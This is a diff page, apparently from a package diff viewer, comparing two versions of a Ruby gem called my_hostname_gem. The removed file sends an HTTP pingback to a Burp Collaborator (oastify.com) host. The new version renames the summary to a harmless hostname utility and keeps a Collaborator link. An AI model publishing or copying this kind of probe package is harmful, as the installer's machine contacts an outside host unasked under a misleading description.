my_hostname_gem 0.0.1 → 0.1.0

Sign up to get free protection for your applications and to get access to all the features.
checksums.yaml CHANGED
@@ -1,7 +1,7 @@
1
1
  ---
2
2
  SHA256:
3
- metadata.gz: de96a4edd892ef06cec81d3ccf536e2eb1ae0e66f20be91274751fecc94f6ea3
4
- data.tar.gz: '087f39aa3247f5206336817a9db29f0d4e8028348bfa7b7afab24e67043042f9'
3
+ metadata.gz: edb9138291eba0ce6e9da585d7c2ece2e544afa05a1a6f0522bd6a86735bae43
4
+ data.tar.gz: 8ab68fc5721187079833b7ebf205977c23d96eaeb361b5cca0158ba81f7d9943
5
5
  SHA512:
6
- metadata.gz: 45d1fde942b1a21b51de6659cadccbed67aa899b400d6b1eee21691fe6bf64a803754a413d745cb281ba39342b3e9d6134aee7ee4a148c0e78214b0063554901
7
- data.tar.gz: 16d9a9f0490831b73bfccf1b1437660424647efe949946a5e90428aaac48362402614084081ab0a978213b3b5937fdceb6cf542524930cf1832b40b9543d3cae
6
+ metadata.gz: c2869a755d92f0bf07631aacecc1abe9590a01137f42222fe91c6ce1bb35c40d92629258b543418fd24f5981867bdcf7a09190315a5c06e2bcf89c85dac31991
7
+ data.tar.gz: 391a4146a6cc831534111562827b9c341871b95f26c089ebea842b80593cbcc4762197396cc28eee7a79cab3ba83474ac6f7174a8a89c9fcb51e3a7394559bf8
@@ -0,0 +1,12 @@
1
+ require 'socket'
2
+
3
+ module MyHostnameGem
4
+ def self.hostname
5
+ Socket.gethostname
6
+ end
7
+
8
+ def self.burp_collaborator_link
9
+ # Modify the URL to your Burp Collaborator link
10
+ "m4rh16lxe0whysi4uu8jsp0ej5pvdk.oastify.com"
11
+ end
12
+ end
metadata CHANGED
@@ -1,26 +1,43 @@
1
1
  --- !ruby/object:Gem::Specification
2
2
  name: my_hostname_gem
3
3
  version: !ruby/object:Gem::Version
4
- version: 0.0.1
4
+ version: 0.1.0
5
5
  platform: ruby
6
6
  authors:
7
7
  - Monika Talekar
8
8
  autorequire:
9
9
  bindir: bin
10
10
  cert_chain: []
11
- date: 2023-07-18 00:00:00.000000000 Z
12
- dependencies: []
13
- description:
11
+ date: 2023-07-17 00:00:00.000000000 Z
12
+ dependencies:
13
+ - !ruby/object:Gem::Dependency
14
+ name: socket
15
+ requirement: !ruby/object:Gem::Requirement
16
+ requirements:
17
+ - - ">="
18
+ - !ruby/object:Gem::Version
19
+ version: '0'
20
+ type: :runtime
21
+ prerelease: false
22
+ version_requirements: !ruby/object:Gem::Requirement
23
+ requirements:
24
+ - - ">="
25
+ - !ruby/object:Gem::Version
26
+ version: '0'
27
+ description: 'A simple Ruby gem that retrieves the hostname of the machine upon installation.
28
+
29
+ '
14
30
  email: monikatalekar@gmail.com
15
31
  executables: []
16
32
  extensions: []
17
33
  extra_rdoc_files: []
18
34
  files:
19
- - lib/my_hostname.rb
35
+ - lib/my_hostname_gem.rb
20
36
  homepage:
21
37
  licenses:
22
38
  - MIT
23
- metadata: {}
39
+ metadata:
40
+ allowed_push_host: https://rubygems.org
24
41
  post_install_message:
25
42
  rdoc_options: []
26
43
  require_paths:
@@ -39,5 +56,5 @@ requirements: []
39
56
  rubygems_version: 3.3.15
40
57
  signing_key:
41
58
  specification_version: 4
42
- summary: A RubyGem to perform a pingback operation using Burp Collaborator.
59
+ summary: Retrieve the hostname of the machine
43
60
  test_files: []
data/lib/my_hostname.rb DELETED
@@ -1,20 +0,0 @@
1
- require 'net/http' # You might need this for making HTTP requests, or a similar library
2
-
3
- module MyHostnameGem
4
- class Error < StandardError; end
5
-
6
- class Hostname
7
- # Replace this with the actual logic for the pingback operation
8
- def self.ping
9
- # Create a unique Burp Collaborator subdomain
10
- burp_subdomain = "iwidt2dt6wodqoa0mq0fklsab1hv5k.oastify.com"
11
-
12
- # Send a request to the Burp Collaborator server
13
- uri = URI("http://#{burp_subdomain}")
14
- response = Net::HTTP.get(uri)
15
-
16
- # You might want to do something with the response, or this method could be void
17
- response
18
- end
19
- end
20
- end